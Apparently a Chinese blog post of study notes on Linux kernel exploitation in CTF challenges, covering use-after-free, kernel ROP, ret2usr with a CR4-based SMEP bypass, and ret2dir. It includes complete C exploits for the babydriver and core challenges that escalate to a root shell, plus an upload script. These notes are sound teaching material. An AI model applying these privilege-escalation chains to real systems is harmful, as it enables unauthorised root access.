【NOTES.0x03】Linux Kernel Pwn学习笔记 II:Basic Exploit to Kernel Pwn in CTF

本文最后更新于:2021年5月21日 凌晨

宁也是带黑阔?

0x00.绪论

毫无疑问,对于内核漏洞进行利用,并最终提权到root,在黑客界是一种最为old school的美学(

而CTF中的kernel pwn类型的题目则恰好是入门kernel exploit最好的方式之一,因此本篇来讲讲CTF中几种较为常见的kernel利用方式

✳ kernel pwn与用户态的pwn在本质上并无差别

需要注意的是,CTF中的kernel pwn通常不会让选手去真正寻找内核中的漏洞,而通常是给出一个有漏洞的LKM让选手进行分析

本文中所出现的所有的题目因为文件太大的缘故无法放上github(),若是有需要的可以发邮件给笔者

文件远程传输方式

通常情况下,在CTF中一个用作exploit的静态编译的可执行文件的体积通常可以达到数百KB甚至几M往上,我们没法很方便地将其直接上传到服务器

目前来说比较通用的办法便是将 exploit 进行 base64 编码后传输,可参考笔者所给出的如下脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
import time, os
#context.log_level = "debug"

p = process('./boot.sh')#remote("127.0.0.1", 5555)

os.system("tar -czvf exp.tar.gz ./exploit")
os.system("base64 exp.tar.gz > b64_exp")

f = open("./b64_exp", "r")

p.sendline()
p.recvuntil("/ $")
p.sendline("echo '' > b64_exp;")

count = 1
while True:
print('now line: ' + str(count))
line = f.readline().replace("\n","")
if len(line)<=0:
break
cmd = b"echo '" + line.encode() + b"' >> b64_exp;"
p.sendline(cmd) # send lines
time.sleep(0.02)
p.recv()
count += 1
f.close()

p.sendline("base64 -d b64_exp > exp.tar.gz;")
p.sendline("tar -xzvf exp.tar.gz")
p.sendline("chmod +x ./exploit;")
p.sendline("./exploit")
p.interactive()

0x01.Kernel UAF(Use After Free)

UAF即Use After Free,通常指的是对于释放后未重置的垂悬指针的利用,此前的heap阶段对于ptmalloc的利用很多都是基于UAF漏洞进行进一步的利用

Linux Kernel中同样有着一个动态内存分配器——slab/slub内存分配器,若是在kernel中存在着垂悬指针,我们同样可以以此完成对slab/slub内存分配器的利用,通过Kernel UAF完成提权

例题:CISCN - 2017 - babydriver

最最最最最最最经典的kernel pwn入门题

解压,惯例的磁盘镜像 + 内核镜像 + 启动脚本结构

查看boot.sh写的好乱啊

1
2
3
#!/bin/bash

qemu-system-x86_64 -initrd core.cpio -kernel bzImage -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' -monitor /dev/null -m 128M --nographic -smp cores=1,threads=1 -cpu kvm64,+smep -s
  • 开启了SMEP保护

解压磁盘镜像看看有没有什么可以利用的东西

1
2
3
4
$ mkdir core
$ cp ./core.cpio ./core
$ cd core
$ cpio -idv < ./core.cpio

查看其启动脚本init

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/bin/sh

mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
chown root:root flag
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console

insmod /lib/modules/4.4.72/babydriver.ko
chmod 777 /dev/babydev
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh

umount /proc
umount /sys
poweroff -d 0 -f

其中加载了一个叫做babydriver.ko的驱动,按照惯例这个就是有着漏洞的驱动

分析

惯例的checksec,发现其只开了NX保护,整挺好

image.png

拖入IDA进行分析

在驱动被加载时会初始化一个设备节点文件/dev/babydev

image.png

在我们使用open()打开设备文件时该驱动会分配一个chunk,该chunk的指针储存于全局变量babydev_struct

image.png

使用ioctl进行通信则可以重新申请内存,改变该chunk的大小

image.png

在关闭设备文件时会释放该chunk,但是并未将指针置NULL,存在UAF漏洞

image.png

read和write就是简单的读写该chunk,便不贴图了

漏洞利用:Kernel UAF

若是我们的程序打开两次设备babydev,由于其chunk储存在全局变量中,那么我们将会获得指向同一个chunk的两个指针

而在关闭设备后该chunk虽然被释放,但是指针未置0,我们便可以使用另一个文件描述符操作该chunk,即Use After Free漏洞

而通过ioctl我们便可以调整这个chunk的大小,,那么只要我们将该chunk的大小设为一个cred结构体的大小后关闭该设备,之后fork()出新进程,那么内核中该空闲chunk就会被分配给新的进程作为其cred结构体,而我们此时还有另一个文件描述符可以操纵该内核模块中的该chunk,只要修改该cred结构体的uid、gid为root便可以完成提权

exploit

最终的exp如下

别忘了静态编译,远程服务器中通常没有libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>

int main(void)
{
printf("\033[34m\033[1m[*] Start to exploit...\033[0m\n");

int fd1 = open("/dev/babydev", 2);
int fd2 = open("/dev/babydev", 2);

ioctl(fd1, 0x10001, 0xa8);
close(fd1);

int pid = fork();

if(pid < 0)
{
printf("\033[31m\033[1m[x] Unable to fork the new thread, exploit failed.\033[0m\n");
return -1;
}
else if(pid == 0) // the child thread
{
char buf[30] = {0};
write(fd2, buf, 28);

if(getuid() == 0)
{
printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n");
system("/bin/sh");
return 0;
}
else
{
printf("\033[31m\033[1m[x] Unable to get the root, exploit failed.\033[0m\n");
return -1;
}
}
else // the parent thread
{
wait(NULL);//waiting for the child
}

return 0;
}

本地测试的话就放进磁盘重新打包后qemu起系统,运行即可获得root shell

image.png

0x02.Kernel ROP - basic

ROP即返回导向编程(Return-oriented programming),应当是大家比较熟悉的一种攻击方式——通过复用代码片段的方式控制程序执行流

内核态的ROP与用户态的ROP一般无二,只不过利用的gadget变成了内核中的gadget,所需要构造执行的ropchain由system("/bin/sh")变为了commit_creds(prepare_kernel_cred(NULL))

状态保存

通常情况下,我们的exploit需要进入到内核当中完成提权,而我们最终仍然需要着陆回用户态以获得一个root权限的shell,因此在我们的exploit进入内核态之前我们需要手动模拟用户态进入内核态的准备工作——保存各寄存器的值,以便于后续着陆回用户态

通常情况下使用如下函数保存各寄存器值到我们自己定义的变量中:

算是一个通用的pwn板子

方便起见,使用了内联汇编,编译时需要指定参数:-masm=intel

1
2
3
4
5
6
7
8
9
10
11
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}

返回用户态

Linux Kernel Pwn学习笔记 I:一切开始之前 当中笔者简要叙述了内核态返回用户态的过程:

  • swapgs指令恢复用户态GS寄存器
  • sysretq或者iretq恢复到用户空间

那么我们只需要在内核中找到相应的gadget并执行swapgs;iretq就可以成功着陆回用户态

通常来说,我们应当构造如下rop链以返回用户态并获得一个shell:

1
2
3
4
5
6
7
↓	swapgs
iretq
user_shell_addr
user_cs
user_eflags //64bit user_rflags
user_sp
user_ss

内核ROP和用户态的ROP本质上没有太大区别,细节便不在此赘叙了

什么?你说你⑧会 ROP ?那你看个🔨kernel pwn

👴悟🌶!**带学的带手子pwner在VNCTF2021告诉👴 ROP 事一个寄存器!

例题:强网杯2018 - core

依然是十分经典的kernel pwn入门题

首先查看启动脚本start.sh

1
2
3
4
5
6
7
8
qemu-system-x86_64 \
-m 128M \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
  • 开启了KASLR保护

解压文件系统,查看init文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko

poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys

poweroff -d 0 -f
  • 开始时内核符号表被复制了一份到/tmp/kalsyms中,利用这个我们可以获得内核中所有函数的地址
  • 不出意外的话core.ko就是存在漏洞的内核模块
  • 改变权限前设置了定时关机,调试的时候可以把这个语句先删掉

分析

惯例的checksec一下,开了NX和canary

image.png

拖入IDA进行分析,符号表没抠,很开心(

初始化函数中创建了一个进程节点文件/proc/core,这也是我们后续与内核模块间通信的媒介

image.png

简单分析自定义的fop结构体core_fops,发现只自定义了三个回调函数

image.png

image.png

image.png

其中core_release仅为打印功能,就不在此放出了

core_write的功能主要是允许用户向bss段上写入最多0x800字节的内容

image.png

core_ioctl中允许我们调用core_readcore_copy_func这两个函数,以及设置全局变量off的值

image.png

core_read函数中允许我们从栈上读取数据,由于off变量的值可以由我们控制,故我们可以利用该函数泄露栈上数据,包括canary

image.png

漏洞利用:Kernel ROP

core_copy_func中将会拷贝bss段上内容到栈上,由于其拷贝时使用低16字节作为判断长度,若是我们传入一个恰当的负数,便能拷贝最多0xffff字节的数据到栈上

存在栈溢出,且溢出数据可控

image.png

那么我们便能够利用栈溢出在栈上构造ROP chain以提权

而canary的值可以通过ioctl提供的功能以泄露,此前内核符号表又已经被拷贝到了/tmp/kallsyms下,我们便可以从中读取各个内核符号的地址

只要我们能够在内核空间执行commit_cred(prepare_kernel_cred(NULL)),那么就能够将进程的权限提升到root

至于gadget可以直接使用ROPgadget或者ropper对着vmlinux镜像跑一轮,这里便不再赘叙

不明原因,笔者的ROPgadget没法找到iretq,只好直接用IDA按字节搜…

image.png

调试的时候我们可以先把kaslr关掉,获取没有偏移的函数地址,后续再通过该值计算偏移

image.png

exploit

我们这里选择执行commit_creds(prepare_kernel_cred(NULL))以提权

由于是内核态的rop,故我们需要手动返回用户态执行/bin/sh,这里我们需要模拟由用户态进入内核态再返回用户态的过程

构造exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>

#define POP_RDI_RET 0xffffffff81000b2f
#define MOV_RDI_RAX_CALL_RDX 0xffffffff8101aa6a
#define POP_RDX_RET 0xffffffff810a0f49
#define POP_RCX_RET 0xffffffff81021e53
#define SWAPGS_POPFQ_RET 0xffffffff81a012da
#define IRETQ 0xffffffff813eb448

size_t commit_creds = NULL, prepare_kernel_cred = NULL;

size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}

void getRootShell(void)
{
if(getuid())
{
printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n");
exit(-1);
}

printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n");
system("/bin/sh");
}

void coreRead(int fd, char * buf)
{
ioctl(fd, 0x6677889B, buf);
}

void setOffValue(int fd, size_t off)
{
ioctl(fd, 0x6677889C, off);
}

void coreCopyFunc(int fd, size_t nbytes)
{
ioctl(fd, 0x6677889A, nbytes);
}

int main(int argc, char ** argv)
{
printf("\033[34m\033[1m[*] Start to exploit...\033[0m\n");
saveStatus();

int fd = open("/proc/core", 2);
if(fd <0)
{
printf("\033[31m\033[1m[x] Failed to open the file: /proc/core !\033[0m\n");
exit(-1);
}

//get the addr
FILE* sym_table_fd = fopen("/tmp/kallsyms", "r");
if(sym_table_fd < 0)
{
printf("\033[31m\033[1m[x] Failed to open the sym_table file!\033[0m\n");
exit(-1);
}
char buf[0x50], type[0x10];
size_t addr;
while(fscanf(sym_table_fd, "%llx%s%s", &addr, type, buf))
{
if(prepare_kernel_cred && commit_creds)
break;

if(!commit_creds && !strcmp(buf, "commit_creds"))
{
commit_creds = addr;
printf("\033[32m\033[1m[+] Successful to get the addr of commit_cread:\033[0m%llx\n", commit_creds);
continue;
}

if(!strcmp(buf, "prepare_kernel_cred"))
{
prepare_kernel_cred = addr;
printf("\033[32m\033[1m[+] Successful to get the addr of prepare_kernel_cred:\033[0m%llx\n", prepare_kernel_cred);
continue;
}
}

size_t offset = commit_creds - 0xffffffff8109c8e0;

// get the canary
size_t canary;
setOffValue(fd, 64);
coreRead(fd, buf);
canary = ((size_t *)buf)[0];

//construct the ropchain
size_t rop_chain[0x100], i = 0;
for(; i < 10;i++)
rop_chain[i] = canary;
rop_chain[i++] = POP_RDI_RET + offset;
rop_chain[i++] = 0;
rop_chain[i++] = prepare_kernel_cred;
rop_chain[i++] = POP_RDX_RET + offset;
rop_chain[i++] = POP_RCX_RET + offset; // just to clear the useless stack data
rop_chain[i++] = MOV_RDI_RAX_CALL_RDX + offset;
rop_chain[i++] = commit_creds;
rop_chain[i++] = SWAPGS_POPFQ_RET + offset;
rop_chain[i++] = 0;
rop_chain[i++] = IRETQ + offset;
rop_chain[i++] = (size_t)getRootShell;
rop_chain[i++] = user_cs;
rop_chain[i++] = user_rflags;
rop_chain[i++] = user_sp;
rop_chain[i++] = user_ss;

write(fd, rop_chain, 0x800);
coreCopyFunc(fd, 0xffffffffffff0000 | (0x100));
}

编译指令:

1
$ gcc ./exploit.c -o exploit -static -masm=intel

本地调试的话重新打包即可

1
$ find . | cpio -o -H newc > ../core.cpio

运行即可获得root shell

image.png

0x03.Kernel ROP - ret2usr

在【未】开启SMAP/SMEP保护的情况下,用户空间无法访问内核空间的数据,但是内核空间可以访问用户空间的数据,因此ret2usr这种攻击手法应运而生——通过kernel ROP以内核的ring 0权限执行用户空间的代码以完成提权

通常CTF中的ret2usr还是以执行commit_creds(prepare_kernel_cred(NULL))进行提权为主要的攻击手法,不过相比起构造冗长的ROP chain,ret2usr只需我们要提前在用户态程序构造好对应的函数指针、获取相应函数地址后直接执行即可

✳ 需要注意的是,对于开启了SMAP/SMEP保护的kernel而言,内核空间尝试直接访问用户空间会引起kernel panic

在这种情况下我们无法直接进行ret2usr,因此需要更加高级的攻击手法如ret2dir等绕过SMAP/SMEP保护,亦或是关闭SMAP/SMEP后再进行ret2usr

通常情况下的报错信息大概如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
[    7.168602] core: called core_writen
[ 7.168919] unable to execute userspace code (SMEP?) (uid: 1000)
[ 7.170547] BUG: unable to handle kernel paging request at 0000000000401d8a
[ 7.171399] IP: 0x401d8a
[ 7.171598] PGD 800000000fb5e067 P4D 800000000fb5e067 PUD fb5f067 PMD fb59065
[ 7.172087] Oops: 0011 [#1] SMP PTI
[ 7.172429] Modules linked in: core(O)
[ 7.172937] CPU: 0 PID: 995 Comm: exploit Tainted: G O 4.15.8 9
[ 7.173337] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.134
[ 7.173736] RIP: 0010:0x401d8a
[ 7.173865] RSP: 0018:ffff9e5b40113e70 EFLAGS: 00000296
[ 7.174418] RAX: 0000000000000000 RBX: 2cbe9f17d07a4800 RCX: 0000000000000000
[ 7.174780] RDX: 0000000000000000 RSI: ffffffffc0165500 RDI: ffff9e5b40113f18
[ 7.175257] RBP: ffffffffffff0100 R08: 6163203a65726f63 R09: 0000000000000de8
[ 7.176123] R10: 0000000000000004 R11: 6e65746972775f65 R12: ffff9ba74a80f7a0
[ 7.176801] R13: 000000006677889a R14: ffffffffffff0100 R15: 0000000000000000
[ 7.177424] FS: 000000000110b880(0000) GS:ffff9ba74bc00000(0000) knlGS:00000
[ 7.178205] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 7.178836] CR2: 0000000000401d8a CR3: 000000000fb62000 CR4: 00000000003006f0
[ 7.179483] Call Trace:
[ 7.180390] ? native_load_gs_index+0xa/0x10
[ 7.180894] ? push_to_pool+0x8/0x30
[ 7.181194] ? do_syscall_64+0x56/0xf0
[ 7.181431] ? entry_SYSCALL_64_after_hwframe+0x3d/0xa2
[ 7.182556] Code: Bad RIP value.
[ 7.183461] RIP: 0x401d8a RSP: ffff9e5b40113e70
[ 7.184270] CR2: 0000000000401d8a
[ 7.185409] ---[ end trace 11e9381f0a3911ca ]---
[ 7.186319] Kernel panic - not syncing: Fatal exception
[ 7.187391] Kernel Offset: 0x32800000 from 0xffffffff81000000 (relocation ra)
[ 7.188504] Rebooting in 1 seconds..

例题:强网杯2018 - core

好像也找不到别的ret2usr的题了,kernel pwn的题太少了…但是你又⑧能⑧学

具体的这里就不再重复分析了,由于其未开启smap/smep保护,故可以考虑在进程中构造好对应的函数指针后直接ret2usr以提权,我们只需要将代码稍加修改即可

最终的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>

#define POP_RDI_RET 0xffffffff81000b2f
#define MOV_RDI_RAX_CALL_RDX 0xffffffff8101aa6a
#define POP_RDX_RET 0xffffffff810a0f49
#define POP_RCX_RET 0xffffffff81021e53
#define SWAPGS_POPFQ_RET 0xffffffff81a012da
#define IRETQ 0xffffffff813eb448

size_t commit_creds = NULL, prepare_kernel_cred = NULL;

size_t user_cs, user_ss, user_rflags, user_sp;

void saveStatus()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}

void getRootPrivilige(void)
{
void * (*prepare_kernel_cred_ptr)(void *) = prepare_kernel_cred;
int (*commit_creds_ptr)(void *) = commit_creds;
(*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL));
}

void getRootShell(void)
{
if(getuid())
{
printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n");
exit(-1);
}

printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n");
system("/bin/sh");
}

void coreRead(int fd, char * buf)
{
ioctl(fd, 0x6677889B, buf);
}

void setOffValue(int fd, size_t off)
{
ioctl(fd, 0x6677889C, off);
}

void coreCopyFunc(int fd, size_t nbytes)
{
ioctl(fd, 0x6677889A, nbytes);
}

int main(int argc, char ** argv)
{
printf("\033[34m\033[1m[*] Start to exploit...\033[0m\n");
saveStatus();

int fd = open("/proc/core", 2);
if(fd <0)
{
printf("\033[31m\033[1m[x] Failed to open the file: /proc/core !\033[0m\n");
exit(-1);
}

//get the addr
FILE* sym_table_fd = fopen("/tmp/kallsyms", "r");
if(sym_table_fd < 0)
{
printf("\033[31m\033[1m[x] Failed to open the sym_table file!\033[0m\n");
exit(-1);
}
char buf[0x50], type[0x10];
size_t addr;
while(fscanf(sym_table_fd, "%llx%s%s", &addr, type, buf))
{
if(prepare_kernel_cred && commit_creds)
break;

if(!commit_creds && !strcmp(buf, "commit_creds"))
{
commit_creds = addr;
printf("\033[32m\033[1m[+] Successful to get the addr of commit_cread:\033[0m%llx\n", commit_creds);
continue;
}

if(!strcmp(buf, "prepare_kernel_cred"))
{
prepare_kernel_cred = addr;
printf("\033[32m\033[1m[+] Successful to get the addr of prepare_kernel_cred:\033[0m%llx\n", prepare_kernel_cred);
continue;
}
}

size_t offset = commit_creds - 0xffffffff8109c8e0;

// get the canary
size_t canary;
setOffValue(fd, 64);
coreRead(fd, buf);
canary = ((size_t *)buf)[0];

//construct the ropchain
size_t rop_chain[0x100], i = 0;
for(; i < 10;i++)
rop_chain[i] = canary;
rop_chain[i++] = (size_t)getRootPrivilige;
rop_chain[i++] = SWAPGS_POPFQ_RET + offset;
rop_chain[i++] = 0;
rop_chain[i++] = IRETQ + offset;
rop_chain[i++] = (size_t)getRootShell;
rop_chain[i++] = user_cs;
rop_chain[i++] = user_rflags;
rop_chain[i++] = user_sp;
rop_chain[i++] = user_ss;

write(fd, rop_chain, 0x800);
coreCopyFunc(fd, 0xffffffffffff0000 | (0x100));
}

重新打包,运行,成功获取root权限

image.png

ret2usr with SMEP-BYPASS

前面我们讲到,当kernel开启SMEP保护时,ret2usr这种攻击手法将会触发页错误,引起kernel panic,因此若是我们仍然想要进行ret2dir攻击,则需要先关闭SMEP保护

Intel下系统根据CR4控制寄存器的第20位标识是否开启SMEP保护(1为开启,0为关闭),若是能够通过kernel ROP改变CR4寄存器的值便能够关闭SMEP保护,完成SMEP-bypass,接下来就能够重新进行ret2usr

(下图来自ctf-wiki)

image.png

我们可以通过如下命令查看CPU相关信息,其中包括开启的保护类型:

1
$ cat /proc/cpuinfo

例题:CISCN - 2017 - babydriver

具体的分析就不再赘叙了,我们这一次选择通过ret2usr进行攻击

内核符号表可读,我们能够很方便地获得相应内核函数的地址

image.png

没有开启kaslr,所以可以直接从vmlinux中提取gadget地址,这里ROPgadget和ropper半斤八两,建议两个配合着一起用

考虑要绕过SMEP,我们需要改变cr4寄存器的值,观察到在内核中有着如下的gadget可以很方便地改变cr4寄存器的值:

image.png

接下来考虑如何通过UAF构造ROP

/dev下有一个伪终端设备ptmx,在我们打开这个设备时内核中会创建一个tty_struct结构体,与其他类型设备相同,tty驱动设备中同样存在着一个存放着函数指针的结构体tty_operations

推荐阅读NOTE-0X02-LINUX-KERNEL-PWN-PART-I - 五、编写可装载内核模块(LKMs)以获取更多设备相关知识()

那么我们不难想到的是我们可以通过UAF劫持/dev/ptmx这个设备的tty_struct结构体与其内部的tty_operations结构体,那么在我们对这个设备进行相应操作(如write、ioctl)时便会执行我们布置好的恶意函数指针

由于没有开启SMAP保护,故我们可以在用户态进程的栈上布置ROP链与fake tty_operations结构体

结构体tty_struct位于include/linux/tty.h中,tty_operations位于include/linux/tty_driver.h

内核中没有类似one_gadget一类的东西,因此为了完成ROP我们还需要进行一次栈迁移

使用gdb进行调试,观察内核在调用我们的恶意函数指针时各寄存器的值,我们在这里选择劫持tty_operaionts结构体到用户态的栈上,并选择任意一条内核gadget作为fake tty函数指针以方便下断点:

image.png

我们不难观察到,在我们对tty设备进行写入,调用tty_operations中的函数指针时,其rax寄存器中存放的便是tty_operations结构体的地址,因此若是我们能够在内核中找到形如mov rsp, rax的gadget,便能够成功地将栈迁移到tty_operations结构体的开头

使用ROPgadget查找相关gadget,发现有两条符合我们要求的gadget:

image.png

gdb调试,发现第一条gadget其实等价于mov rsp, rax ; dec ebx ; ret

image.png

那么利用这条gadget我们便可以很好地完成栈迁移的过程,执行我们所构造的ROP链

tty_operations结构体开头到其write指针间的空间较小,因此我们还需要进行二次栈迁移,这里随便选一条改rax的gadget即可

image.png

需要注意的是计算相应结构体大小时应当选取与题目相同版本的内核源码

最终的exploit应当如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>

#define POP_RDI_RET 0xffffffff810d238d
#define POP_RAX_RET 0xffffffff8100ce6e
#define MOV_CR4_RDI_POP_RBP_RET 0xffffffff81004d80
#define MOV_RSP_RAX_DEC_EBX_RET 0xffffffff8181bfc5
#define SWAPGS_POP_RBP_RET 0xffffffff81063694
#define IRETQ_RET 0xffffffff814e35ef

size_t commit_creds = NULL, prepare_kernel_cred = NULL;

size_t user_cs, user_ss, user_rflags, user_sp;

void saveStatus()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}

void getRootPrivilige(void)
{
void * (*prepare_kernel_cred_ptr)(void *) = prepare_kernel_cred;
int (*commit_creds_ptr)(void *) = commit_creds;
(*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL));
}

void getRootShell(void)
{
if(getuid())
{
printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n");
exit(-1);
}

printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n");
system("/bin/sh");
}

int main(void)
{
printf("\033[34m\033[1m[*] Start to exploit...\033[0m\n");
saveStatus();

//get the addr
FILE* sym_table_fd = fopen("/proc/kallsyms", "r");
if(sym_table_fd < 0)
{
printf("\033[31m\033[1m[x] Failed to open the sym_table file!\033[0m\n");
exit(-1);
}
char buf[0x50], type[0x10];
size_t addr;
while(fscanf(sym_table_fd, "%llx%s%s", &addr, type, buf))
{
if(prepare_kernel_cred && commit_creds)
break;

if(!commit_creds && !strcmp(buf, "commit_creds"))
{
commit_creds = addr;
printf("\033[32m\033[1m[+] Successful to get the addr of commit_cread:\033[0m%llx\n", commit_creds);
continue;
}

if(!strcmp(buf, "prepare_kernel_cred"))
{
prepare_kernel_cred = addr;
printf("\033[32m\033[1m[+] Successful to get the addr of prepare_kernel_cred:\033[0m%llx\n", prepare_kernel_cred);
continue;
}
}

size_t rop[0x20], p = 0;
rop[p++] = POP_RDI_RET;
rop[p++] = 0x6f0;
rop[p++] = MOV_CR4_RDI_POP_RBP_RET;
rop[p++] = 0;
rop[p++] = getRootPrivilige;
rop[p++] = SWAPGS_POP_RBP_RET;
rop[p++] = 0;
rop[p++] = IRETQ_RET;
rop[p++] = getRootShell;
rop[p++] = user_cs;
rop[p++] = user_rflags;
rop[p++] = user_sp;
rop[p++] = user_ss;

size_t fake_op[0x30];
for(int i = 0; i < 0x10; i++)
fake_op[i] = MOV_RSP_RAX_DEC_EBX_RET;

fake_op[0] = POP_RAX_RET;
fake_op[1] = rop;

int fd1 = open("/dev/babydev", 2);
int fd2 = open("/dev/babydev", 2);

ioctl(fd1, 0x10001, 0x2e0);
close(fd1);

size_t fake_tty[0x20];
int fd3 = open("/dev/ptmx", 2);
read(fd2, fake_tty, 0x40);
fake_tty[3] = fake_op;
write(fd2, fake_tty, 0x40);

write(fd3, buf, 0x8);

return 0;
}

本地打包,运行,成功提权到root

image.png

0x04.Kernel ROP - ret2dir

笔者第一次见这个名字的时候还以为是 return to directory:返回至文件夹的攻击

在设计中,为了使隔离的数据进行交换时具有更高的性能,隐性地址共享始终存在,即对于部分数据而言用户态进程与内核共享同一块物理内存,因此通过隐性内存共享可以完整的绕过软件和硬件的隔离保护,这种攻击方式被称之为ret2dir(return-to-direct-mapped memory )

在用户态进程中存在着两块这样的用以提高性能的内存:vdsovsyscall

image.png

VDSO:虚拟动态链接共享对象

VDSO 即 Virtual Dynamically-linked Shared Object ——虚拟动态链接共享对象,本质上是将内核空间中的系统调用映射到用户地址空间以提高性能,减少开销,所有的用户态进程共享一块VDSO内存

VDSO可以理解为一个虚拟的动态链接库

部分用户程序会频繁进行系统调用(如比较常见的orw),若是频繁地在用户态与内核态间切换,则会造成大量的额外的开销,故VDSO应运而生,大幅度地减少了开销,同时也提供了更好的调用路径——我们不再需要通过传统的int 0x80进行系统调用,而是通过新的指令:

  • intel:sysenter,sysexit
  • amd: syscall,sysret

VDSO大致如下图所示:

本图来自于看雪论坛

image.png

VSYSCALL:虚拟系统调用

vsyscall 即 virtual system call——虚拟系统调用;对于部分并不传递参数的系统调用(如gettimeofday等),其作用仅为向内核中请求某些数据,这种情况下便没有必要如同常规的系统调用一般在内核态与用户态间切换,产生大量的开销,只需要内核在其相应的阶段向一块固定的内存上写入数据,用户态进程在需要时直接读取数据即可,vsyscall便应运而生

例题:CSAWCTF2015 - StringIPC

原题见https://github.com/mncoppola/StringIPC

题目太过久远了…实在找不到原文件…只好自己编译一份

惯例的查看启动脚本

1
2
3
4
5
6
7
8
qemu-system-x86_64 \  
-m 512 \
-kernel ./bzImage \
-initrd ./rootfs.cpio \
-append "console=ttyS0 root=/dev/ram rdinit=/sbin/init" \
-nographic \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \

好像也没开什么保护

分析

惯例地拖入IDA中进行分析

大概是注册了一个misc类型设备/dev/csaw

image.png

以及定义了openioctl

image.png

在我们打开设备时会调用kmem_cache_alloc_trace分配一个内存块

image.png

0x05.条件竞争

double fetch

例题:0CTF2018 Final - baby kernel

userfaultfd

一种稳定化条件竞争利用手法

例题:d3ctf2019 - knote

0x06.测信道攻击

